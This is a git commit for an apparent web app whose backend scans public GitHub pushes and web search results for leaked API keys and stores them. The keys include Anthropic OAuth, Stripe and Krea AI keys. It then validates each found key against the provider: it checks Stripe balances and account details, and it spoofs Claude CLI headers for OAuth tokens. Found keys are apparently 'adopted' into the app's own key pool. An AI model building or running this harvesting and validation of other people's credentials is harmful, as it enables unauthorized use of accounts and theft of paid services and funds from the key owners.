feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking

Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung

Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter
This commit is contained in:
Meleki committed 2026-03-14 16:19:13 +01:00
1 parent 3cd35ebbfa
commit e61f3ef082
15 files changed
+642 -33

No files matched your search

+115
View File
@@ -0,0 +1,115 @@
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using Dapper;
using Gott.Extensions;
using Gott.Services;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Http;
using Microsoft.Data.Sqlite;
namespace Gott.Endpoints;
public static class DatabaseExplorerEndpoint
{
public static void MapDatabaseExplorerEndpoints(this WebApplication app)
{
app.MapGet("/api/admin/db/tables", HandleGetTables);
app.MapGet("/api/admin/db/tables/{name}", HandleGetTableData);
}
private static async Task HandleGetTables(HttpContext ctx, DatabaseService db)
{
if (!ctx.IsAdmin())
{
ctx.Response.StatusCode = 403;
await ctx.Response.WriteAsJsonAsync(new { error = "Admin access required" });
return;
}
using var conn = db.GetConnection();
var tables = conn.Query<TableInfo>(
"SELECT name, (SELECT COUNT(*) FROM pragma_table_info(m.name)) as column_count " +
"FROM sqlite_master m WHERE type = 'table' AND name NOT LIKE 'sqlite_%' ORDER BY name");
var result = new List<object>();
foreach (var t in tables)
{
var rowCount = conn.ExecuteScalar<long>($"SELECT COUNT(*) FROM \"{t.Name}\"");
result.Add(new { name = t.Name, columns = t.ColumnCount, rows = rowCount });
}
await ctx.Response.WriteAsJsonAsync(new { tables = result });
}
private static async Task HandleGetTableData(HttpContext ctx, DatabaseService db, string name)
{
if (!ctx.IsAdmin())
{
ctx.Response.StatusCode = 403;
await ctx.Response.WriteAsJsonAsync(new { error = "Admin access required" });
return;
}
// Tabellennamen validieren (SQL-Injection verhindern)
using var conn = db.GetConnection();
var exists = conn.ExecuteScalar<int>(
"SELECT COUNT(*) FROM sqlite_master WHERE type = 'table' AND name = @name",
new { name });
if (exists == 0)
{
ctx.Response.StatusCode = 404;
await ctx.Response.WriteAsJsonAsync(new { error = "Table not found" });
return;
}
// Pagination
var page = 1;
var pageSize = 100;
if (ctx.Request.Query.TryGetValue("page", out var pageStr) && int.TryParse(pageStr, out var p) && p > 0)
page = p;
if (ctx.Request.Query.TryGetValue("pageSize", out var psStr) && int.TryParse(psStr, out var ps) && ps > 0 && ps <= 500)
pageSize = ps;
var offset = (page - 1) * pageSize;
// Spalten-Info
var columns = conn.Query<ColumnInfo>($"PRAGMA table_info(\"{name}\")");
// Daten
var totalRows = conn.ExecuteScalar<long>($"SELECT COUNT(*) FROM \"{name}\"");
var rows = conn.Query($"SELECT * FROM \"{name}\" LIMIT @limit OFFSET @offset",
new { limit = pageSize, offset });
await ctx.Response.WriteAsJsonAsync(new
{
table = name,
columns,
rows,
pagination = new
{
page,
pageSize,
totalRows,
totalPages = (int)Math.Ceiling((double)totalRows / pageSize)
}
});
}
private class TableInfo
{
public string Name { get; set; }
public int ColumnCount { get; set; }
}
private class ColumnInfo
{
public int Cid { get; set; }
public string Name { get; set; }
public string Type { get; set; }
public int Notnull { get; set; }
public string DfltValue { get; set; }
public int Pk { get; set; }
}
}
+17
View File
@@ -86,6 +86,23 @@ public static class ServerSettingsEndpoint
case "bool":
settings.SetBool(def.Key, prop.ValueKind == JsonValueKind.True);
break;
case "string_array":
if (prop.ValueKind == JsonValueKind.Array)
{
var arr = new List<string>();
foreach (var el in prop.EnumerateArray())
{
var s = el.GetString();
if (!string.IsNullOrWhiteSpace(s)) arr.Add(s);
}
settings.SetStringArray(def.Key, arr.ToArray());
}
else if (prop.ValueKind == JsonValueKind.String)
{
// Fallback: CSV-String
settings.Set(def.Key, prop.GetString() ?? "");
}
break;
}
}
+1
View File
@@ -142,6 +142,7 @@ app.MapServerSettingsEndpoints();
app.MapApiKeysEndpoints();
app.MapOpenClawEndpoints();
app.MapRemoteEndpoints();
app.MapDatabaseExplorerEndpoints();
var port = app.Configuration.GetValue<int>("Port", 19000);
app.Run($"http://0.0.0.0:{port}");
+22 -5
View File
@@ -42,12 +42,20 @@ namespace Gott.Services
});
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
var isOAuth = apiKey.StartsWith("sk-ant-oat01-", StringComparison.OrdinalIgnoreCase);
if (isOAuth)
{
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
request.Headers.Add("x-app", "cli");
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
}
else
{
request.Headers.Add("x-api-key", apiKey);
}
request.Headers.Add("anthropic-version", "2023-06-01");
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
request.Headers.Add("x-app", "cli");
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
var resp = await client.SendAsync(request);
@@ -69,6 +77,15 @@ namespace Gott.Services
{
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
}
else if (statusCode == 400)
{
var body400 = await resp.Content.ReadAsStringAsync();
if (body400.Contains("credit balance", StringComparison.OrdinalIgnoreCase))
return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber kein Guthaben (credit balance too low)", Plan = "API Console" };
if (body400.Contains("billing", StringComparison.OrdinalIgnoreCase) || body400.Contains("payment", StringComparison.OrdinalIgnoreCase))
return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber Billing-Problem (400)", Plan = "API Console" };
return new KeyCheckResult { Status = "error", Message = $"API-Fehler (400): {(body400.Length > 200 ? body400.Substring(0, 200) : body400)}", Plan = "Unknown" };
}
else if (statusCode >= 400)
{
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
+2
View File
@@ -29,6 +29,8 @@ public partial class DatabaseService
return conn;
}
public SqliteConnection GetConnection() => CreateConnection();
private void InitializeDatabase()
{
using var conn = CreateConnection();
+15 -14
View File
@@ -190,7 +190,7 @@ public class GitHubEventScannerService : BackgroundService
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
// Head-Commit-Diffs scannen
var newKeysFound = 0;
var newKeyIds = new List<string>();
var scannedCount = 0;
foreach (var pe in toScan)
{
@@ -213,10 +213,11 @@ public class GitHubEventScannerService : BackgroundService
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
var keyId = Guid.NewGuid().ToString("N");
newKeyIds.Add(keyId);
await _db.CreateScannedKey(new ScannedKeyRecord
{
ScannedKeyId = Guid.NewGuid().ToString("N"),
ScannedKeyId = keyId,
ApiKey = key,
Source = "github_events",
SourceUrl = sourceUrl,
@@ -258,15 +259,15 @@ public class GitHubEventScannerService : BackgroundService
}
}
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeyIds.Count + " neue Keys");
if (newKeysFound > 0)
if (newKeyIds.Count > 0)
{
lock (_lock) _keysFoundTotal += newKeysFound;
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
lock (_lock) _keysFoundTotal += newKeyIds.Count;
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeyIds.Count);
// Neue Keys sofort prüfen
await CheckNewKeys(ct);
// Nur die gerade gefundenen Keys prüfen (nicht alle unchecked!)
await CheckNewKeys(newKeyIds, ct);
}
return events.Count;
@@ -393,15 +394,15 @@ public class GitHubEventScannerService : BackgroundService
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
}
/// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
private async Task CheckNewKeys(CancellationToken ct)
/// <summary>Prüft nur die gerade im aktuellen Poll gefundenen Keys.</summary>
private async Task CheckNewKeys(List<string> keyIds, CancellationToken ct)
{
try
{
var allScanned = (await _db.GetScannedKeys()).ToList();
var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
var toCheck = allScanned.Where(k => keyIds.Contains(k.ScannedKeyId)).ToList();
foreach (var sk in unchecked_)
foreach (var sk in toCheck)
{
ct.ThrowIfCancellationRequested();
var type = KeyPatterns.DetectType(sk.ApiKey);
@@ -437,7 +438,7 @@ public class GitHubEventScannerService : BackgroundService
}
else
{
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
AddLog("key_checked", $"💾 {typeName} gespeichert (kein Checker verfügbar, bleibt unchecked) · {keyPrefix}");
}
}
catch (Exception ex)
+3
View File
@@ -67,6 +67,9 @@ public static class KeyPatterns
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
.ToArray();
/// <summary>Alle verfügbaren Key-Typ-IDs (für Settings).</summary>
public static readonly string[] AllTypes = All.Select(p => p.Type).Distinct().ToArray();
/// <summary>Erkennt den Key-Typ anhand des Prefixes.</summary>
public static string DetectType(string key)
{
+26 -12
View File
@@ -77,10 +77,20 @@ public class KeyScannerService : BackgroundService
// ── GitHub Search Config ──
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
// Alle Patterns für Regex-Matching im Dateiinhalt
private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
/// <summary>Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting.</summary>
private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns()
{
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
if (allowed.Count == 0) return Array.Empty<(string, string, string)>();
return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray();
}
/// <summary>Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist.</summary>
private bool IsKeyTypeAllowed(string type)
{
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
return allowed.Contains(type);
}
private static readonly string[] SearchLanguages =
{
@@ -229,10 +239,11 @@ public class KeyScannerService : BackgroundService
saveIdx++;
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
if (!seen.Add(key)) continue;
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyType = DetectKeyType(key);
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
@@ -300,8 +311,9 @@ public class KeyScannerService : BackgroundService
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var queries = new List<(string Query, Regex Regex)>();
var activePatterns = GetActiveSearchPatterns();
foreach (var (pattern, searchTerm, _) in SearchPatterns)
foreach (var (pattern, searchTerm, _) in activePatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in QuickLanguages)
@@ -493,10 +505,11 @@ public class KeyScannerService : BackgroundService
return keys;
}
private static List<(string Query, Regex Regex)> BuildSearchQueries()
private List<(string Query, Regex Regex)> BuildSearchQueries()
{
var queries = new List<(string, Regex)>();
foreach (var (pattern, searchTerm, _) in SearchPatterns)
var activePatterns = GetActiveSearchPatterns();
foreach (var (pattern, searchTerm, _) in activePatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in SearchLanguages)
@@ -525,12 +538,13 @@ public class KeyScannerService : BackgroundService
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
var activePatterns = GetActiveSearchPatterns();
for (int i = 0; i < SearchPatterns.Length; i++)
for (int i = 0; i < activePatterns.Length; i++)
{
var (pattern, searchTerm, _) = SearchPatterns[i];
var (pattern, searchTerm, _) = activePatterns[i];
ct.ThrowIfCancellationRequested();
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length);
var regex = new Regex(pattern, RegexOptions.Compiled);
try
+30
View File
@@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text.Json;
using System.Text.Json.Nodes;
using Microsoft.Data.Sqlite;
@@ -34,6 +35,7 @@ public class ServerSettingsService
new SettingDefinition( "SerperApiKey", "string", "", "Serper.dev API-Key für Google-Suche (Key-Scanner + Tool)", "password" ),
new SettingDefinition( "ScanIntervalHours", "int", "0", "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number" ),
new SettingDefinition( "GitHubEventScanner", "bool", "false", "GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)", "toggle" ),
new SettingDefinition( "ScannerKeyTypes", "string_array", "anthropic_oauth,krea_ai", "Key-Scanner: Aktive Key-Typen", "checkboxes" ),
};
public ServerSettingsService(string dbPath)
@@ -181,6 +183,23 @@ public class ServerSettingsService
public void SetInt(string key, int value) => Set(key, value.ToString());
public void SetBool(string key, bool value) => Set(key, value ? "true" : "false");
public string[] GetStringArray(string key, string defaultCsv = "")
{
var raw = Get(key, null);
if (raw == null)
{
var def = Definitions.Find(d => d.Key == key);
raw = def?.DefaultValue ?? defaultCsv;
}
if (string.IsNullOrWhiteSpace(raw)) return Array.Empty<string>();
return raw.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
}
public void SetStringArray(string key, string[] values)
{
Set(key, string.Join(",", values ?? Array.Empty<string>()));
}
// ─── Bulk-Operationen (für Endpoint) ───────────────────────
public List<object> GetAll()
@@ -197,11 +216,21 @@ public class ServerSettingsService
case "bool":
value = GetBool(def.Key, def.DefaultValue.Equals("true", StringComparison.OrdinalIgnoreCase));
break;
case "string_array":
value = GetStringArray(def.Key, def.DefaultValue);
break;
default:
value = Get(def.Key, def.DefaultValue);
break;
}
// Zusatz-Metadaten für bestimmte Settings
object options = null;
if (def.Key == "ScannerKeyTypes")
{
options = KeyPatterns.AllTypes.Select(t => new { id = t, name = KeyPatterns.DisplayName(t) }).ToArray();
}
result.Add(new
{
key = def.Key,
@@ -209,6 +238,7 @@ public class ServerSettingsService
value = value,
label = def.Label,
inputType = def.InputType,
options = options,
});
}
return result;
+153
View File
@@ -730,3 +730,156 @@ a.admin-user-meta {
text-align: right;
flex-shrink: 0;
}
/* ── Checkbox Group (string_array Settings) ── */
.checkbox-group {
display: flex;
flex-wrap: wrap;
gap: 6px;
}
.checkbox-group-actions {
width: 100%;
display: flex;
gap: 6px;
margin-bottom: 2px;
}
.checkbox-group-actions .btn-xs {
padding: 2px 8px;
font-size: 0.75em;
border-radius: var(--border-radius);
cursor: pointer;
}
.checkbox-item {
display: flex;
align-items: center;
gap: 4px;
padding: 4px 8px;
border: 1px solid var(--f1-border);
border-radius: var(--border-radius);
cursor: pointer;
font-size: 0.85em;
background: color-mix(in srgb, var(--f1-bg) 25%, transparent);
transition: border-color 0.15s, background 0.15s;
user-select: none;
}
.checkbox-item:hover {
border-color: var(--accent);
}
.checkbox-item:has(input:checked) {
border-color: var(--accent);
background: color-mix(in srgb, var(--accent) 15%, transparent);
}
.checkbox-item input[type="checkbox"] {
width: 14px;
height: 14px;
accent-color: var(--accent);
cursor: pointer;
margin: 0;
}
/* ── Database Explorer ── */
.db-table {
width: 100%;
border-collapse: collapse;
font-size: .9em;
}
.db-table th,
.db-table td {
padding: 8px 12px;
text-align: left;
border-bottom: 1px solid var(--border);
}
.db-table th {
background: var(--bg-secondary);
font-weight: 600;
position: sticky;
top: 0;
z-index: 1;
white-space: nowrap;
}
.db-table tbody tr:hover {
background: color-mix(in srgb, var(--accent) 8%, transparent);
}
.db-table-row.clickable {
cursor: pointer;
}
.db-table-row.clickable:hover .db-table-name {
color: var(--accent);
}
.db-table-name {
font-weight: 500;
}
.db-table-name i {
margin-right: 6px;
opacity: .5;
}
.db-table-num {
text-align: right !important;
font-variant-numeric: tabular-nums;
opacity: .7;
}
.db-table-wrapper {
overflow-x: auto;
border: 1px solid var(--border);
border-radius: var(--radius);
}
.db-data-table td {
max-width: 300px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-family: var(--font-mono, monospace);
font-size: .85em;
}
.db-null {
opacity: .3;
font-style: italic;
}
.db-info-bar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 8px 0;
font-size: .9em;
opacity: .7;
}
.db-pagination {
display: flex;
align-items: center;
gap: 8px;
}
.db-page-info {
font-size: .85em;
}
.db-back-link {
opacity: .6;
transition: opacity .15s;
}
.db-back-link:hover {
opacity: 1;
color: var(--accent);
}
+14
View File
@@ -59,6 +59,7 @@
<a id="dashboardAdminLink" class="dashboard-link" hidden>Benutzerverwaltung</a>
<a id="dashboardApiKeysLink" class="dashboard-link" hidden>API-Keys</a>
<a id="dashboardServerSettingsLink" class="dashboard-link" hidden>Servereinstellungen</a>
<a id="dashboardDbExplorerLink" class="dashboard-link" hidden>Datenbank</a>
<a id="dashboardProfileLink" class="dashboard-link">Mein Profil</a>
</div>
</header>
@@ -533,6 +534,18 @@
</div>
</template>
<template id="tpl-db-explorer">
<div class="page form-page">
<header>
<button class="back-btn icon-btn" data-page="dashboard"><i class="fa fa-arrow-left"></i></button>
<h1 id="dbExplorerTitle">Datenbank-Explorer</h1>
</header>
<div class="page-content">
<div id="dbExplorerContent"></div>
</div>
</div>
</template>
<template id="tpl-server-settings">
<div class="page form-page">
<header>
@@ -710,6 +723,7 @@
<script src="js/pages/admin-page.js"></script>
<script src="js/pages/api-keys-page.js"></script>
<script src="js/pages/server-settings-page.js"></script>
<script src="js/pages/db-explorer-page.js"></script>
<script src="js/pages/shared-page.js"></script>
<script src="js/app.js"></script>
</body>
+1 -1
View File
@@ -410,7 +410,7 @@ registerPage('api-keys', {
scannedList.appendChild(backRow);
// Toolbar: "Ungeprüfte prüfen"-Button
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
var visibleKeys = scannedKeys.filter(function(sk) { return !sk.adoptedApiKeyId; });
var uncheckedKeys = visibleKeys.filter(function(sk) { return sk.status === 'unchecked'; });
if (uncheckedKeys.length > 0) {
var toolbar = document.createElement('div');
+7
View File
@@ -34,6 +34,13 @@ registerPage('dashboard', {
e.preventDefault();
navigateTo('server-settings');
});
var dbExplorerLink = document.getElementById('dashboardDbExplorerLink');
dbExplorerLink.hidden = false;
dbExplorerLink.addEventListener('click', (e) => {
e.preventDefault();
navigateTo('db-explorer');
});
}
// Globaler Click-Handler zum Schließen aller Card-Menüs
+182
View File
@@ -0,0 +1,182 @@
// ── Database Explorer Page ──
registerPage('db-explorer', {
async init() {
if (!currentUser || !currentUser.isAdmin) {
navigateTo('dashboard');
return;
}
var titleEl = document.getElementById('dbExplorerTitle');
var contentEl = document.getElementById('dbExplorerContent');
var currentTable = null;
await loadTables();
async function loadTables() {
currentTable = null;
titleEl.textContent = 'Datenbank-Explorer';
try {
var resp = await fetch('/api/admin/db/tables');
var data = await resp.json();
contentEl.innerHTML = '';
var table = document.createElement('table');
table.className = 'db-table';
var thead = document.createElement('thead');
thead.innerHTML = '<tr><th>Tabelle</th><th>Spalten</th><th>Zeilen</th></tr>';
table.appendChild(thead);
var tbody = document.createElement('tbody');
data.tables.forEach(function(t) {
var tr = document.createElement('tr');
tr.className = 'db-table-row clickable';
var tdName = document.createElement('td');
tdName.innerHTML = '<i class="fa fa-table"></i> ' + esc(t.name);
tdName.className = 'db-table-name';
var tdCols = document.createElement('td');
tdCols.textContent = t.columns;
tdCols.className = 'db-table-num';
var tdRows = document.createElement('td');
tdRows.textContent = t.rows.toLocaleString();
tdRows.className = 'db-table-num';
tr.appendChild(tdName);
tr.appendChild(tdCols);
tr.appendChild(tdRows);
tr.addEventListener('click', function() {
loadTableData(t.name, 1);
});
tbody.appendChild(tr);
});
table.appendChild(tbody);
contentEl.appendChild(table);
} catch (err) {
contentEl.innerHTML = '<p class="error">Fehler beim Laden: ' + esc(err.message) + '</p>';
}
}
async function loadTableData(name, page) {
currentTable = name;
titleEl.innerHTML = '<span class="db-back-link">Datenbank-Explorer</span> <i class="fa fa-chevron-right" style="opacity:.4;font-size:.7em;margin:0 .3em"></i> ' + esc(name);
// Back-Link klickbar
titleEl.querySelector('.db-back-link').style.cursor = 'pointer';
titleEl.querySelector('.db-back-link').addEventListener('click', function() {
loadTables();
});
try {
var resp = await fetch('/api/admin/db/tables/' + encodeURIComponent(name) + '?page=' + page + '&pageSize=100');
var data = await resp.json();
contentEl.innerHTML = '';
// Info-Zeile
var info = document.createElement('div');
info.className = 'db-info-bar';
info.innerHTML = '<span>' + data.pagination.totalRows.toLocaleString() + ' Zeilen</span>';
// Pagination
if (data.pagination.totalPages > 1) {
var pagDiv = document.createElement('span');
pagDiv.className = 'db-pagination';
if (page > 1) {
var prevBtn = document.createElement('button');
prevBtn.className = 'btn btn-small';
prevBtn.innerHTML = '<i class="fa fa-chevron-left"></i>';
prevBtn.addEventListener('click', function() { loadTableData(name, page - 1); });
pagDiv.appendChild(prevBtn);
}
var pageInfo = document.createElement('span');
pageInfo.className = 'db-page-info';
pageInfo.textContent = 'Seite ' + page + ' / ' + data.pagination.totalPages;
pagDiv.appendChild(pageInfo);
if (page < data.pagination.totalPages) {
var nextBtn = document.createElement('button');
nextBtn.className = 'btn btn-small';
nextBtn.innerHTML = '<i class="fa fa-chevron-right"></i>';
nextBtn.addEventListener('click', function() { loadTableData(name, page + 1); });
pagDiv.appendChild(nextBtn);
}
info.appendChild(pagDiv);
}
contentEl.appendChild(info);
// Tabelle mit Daten
var wrapper = document.createElement('div');
wrapper.className = 'db-table-wrapper';
var table = document.createElement('table');
table.className = 'db-table db-data-table';
// Header aus Spalten-Info
var thead = document.createElement('thead');
var headerRow = document.createElement('tr');
data.columns.forEach(function(col) {
var th = document.createElement('th');
th.textContent = col.name;
if (col.pk) th.innerHTML += ' <i class="fa fa-key" style="opacity:.4;font-size:.75em"></i>';
th.title = col.type + (col.notnull ? ' NOT NULL' : '') + (col.pk ? ' PRIMARY KEY' : '');
headerRow.appendChild(th);
});
thead.appendChild(headerRow);
table.appendChild(thead);
// Body
var tbody = document.createElement('tbody');
if (data.rows.length === 0) {
var emptyRow = document.createElement('tr');
var emptyCell = document.createElement('td');
emptyCell.colSpan = data.columns.length;
emptyCell.className = 'db-empty';
emptyCell.textContent = 'Keine Daten';
emptyRow.appendChild(emptyCell);
tbody.appendChild(emptyRow);
} else {
data.rows.forEach(function(row) {
var tr = document.createElement('tr');
data.columns.forEach(function(col) {
var td = document.createElement('td');
var val = row[col.name];
if (val === null || val === undefined) {
td.innerHTML = '<span class="db-null">NULL</span>';
} else {
var str = String(val);
if (str.length > 120) {
td.textContent = str.substring(0, 120) + '…';
td.title = str;
} else {
td.textContent = str;
}
}
tr.appendChild(td);
});
tbody.appendChild(tr);
});
}
table.appendChild(tbody);
wrapper.appendChild(table);
contentEl.appendChild(wrapper);
} catch (err) {
contentEl.innerHTML = '<p class="error">Fehler beim Laden: ' + esc(err.message) + '</p>';
}
}
},
destroy() {}
});
+54 -1
View File
@@ -26,7 +26,54 @@ registerPage('server-settings', {
label.setAttribute('for', 'ss-' + s.key);
field.appendChild(label);
if (s.inputType === 'toggle') {
if (s.inputType === 'checkboxes' && s.options) {
var cbGroup = document.createElement('div');
cbGroup.className = 'checkbox-group';
cbGroup.id = 'ss-' + s.key;
var selected = Array.isArray(s.value) ? s.value : [];
// Select All / Deselect All Buttons
var cbActions = document.createElement('div');
cbActions.className = 'checkbox-group-actions';
var selectAllBtn = document.createElement('button');
selectAllBtn.type = 'button';
selectAllBtn.className = 'btn btn-xs';
selectAllBtn.textContent = 'Alle';
var deselectAllBtn = document.createElement('button');
deselectAllBtn.type = 'button';
deselectAllBtn.className = 'btn btn-xs';
deselectAllBtn.textContent = 'Keine';
cbActions.appendChild(selectAllBtn);
cbActions.appendChild(deselectAllBtn);
cbGroup.appendChild(cbActions);
var checkboxes = [];
for (var oi = 0; oi < s.options.length; oi++) {
var opt = s.options[oi];
var cbItem = document.createElement('label');
cbItem.className = 'checkbox-item';
var cb2 = document.createElement('input');
cb2.type = 'checkbox';
cb2.value = opt.id;
cb2.checked = selected.indexOf(opt.id) !== -1;
checkboxes.push(cb2);
var cbText = document.createElement('span');
cbText.textContent = opt.name;
cbItem.appendChild(cb2);
cbItem.appendChild(cbText);
cbGroup.appendChild(cbItem);
}
selectAllBtn.addEventListener('click', function() {
for (var ci = 0; ci < checkboxes.length; ci++) checkboxes[ci].checked = true;
});
deselectAllBtn.addEventListener('click', function() {
for (var ci = 0; ci < checkboxes.length; ci++) checkboxes[ci].checked = false;
});
inputs[s.key] = { _checkboxes: checkboxes };
field.appendChild(cbGroup);
} else if (s.inputType === 'toggle') {
var toggleLabel = document.createElement('label');
toggleLabel.className = 'toggle-label';
@@ -111,6 +158,12 @@ registerPage('server-settings', {
data[def.key] = input.checked;
} else if (def.type === 'int') {
data[def.key] = parseInt(input.value, 10) || 0;
} else if (def.type === 'string_array' && input._checkboxes) {
var vals = [];
for (var ci = 0; ci < input._checkboxes.length; ci++) {
if (input._checkboxes[ci].checked) vals.push(input._checkboxes[ci].value);
}
data[def.key] = vals;
} else {
data[def.key] = input.value;
}